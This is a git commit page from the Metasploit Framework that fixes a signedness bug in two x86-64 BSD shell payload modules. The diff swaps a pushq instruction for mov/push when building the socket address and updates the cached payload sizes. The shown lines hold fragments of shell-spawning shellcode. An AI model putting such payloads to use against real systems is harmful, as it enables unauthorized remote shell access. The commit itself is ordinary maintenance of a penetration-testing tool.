Land #6003, @earthquake's x86-64 pushq signedness error fixed

This commit is contained in:
jvazquez-r7 2015-10-01 11:52:28 -05:00
commit c35e99664e
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
2 changed files with 6 additions and 4 deletions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 89
CachedSize = 90
include Msf::Payload::Single
include Msf::Payload::Bsd
@ -46,7 +46,8 @@ module Metasploit3
"\x52" +# push %rdx #
"\x52" +# push %rdx #
"\x52" +# push %rdx #
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 #
"\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x1c" +# pushq $0x1c #
"\x5a" +# pop %rdx #

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 87
CachedSize = 88
include Msf::Payload::Single
include Msf::Payload::Bsd
@ -44,7 +44,8 @@ module Metasploit3
"\x0f\x05" +# syscall #
"\x48\x97" +# xchg %rax,%rdi #
"\x52" +# push %rdx #
"\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 #
"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x10" +# pushq $0x10 #
"\x5a" +# pop %rdx #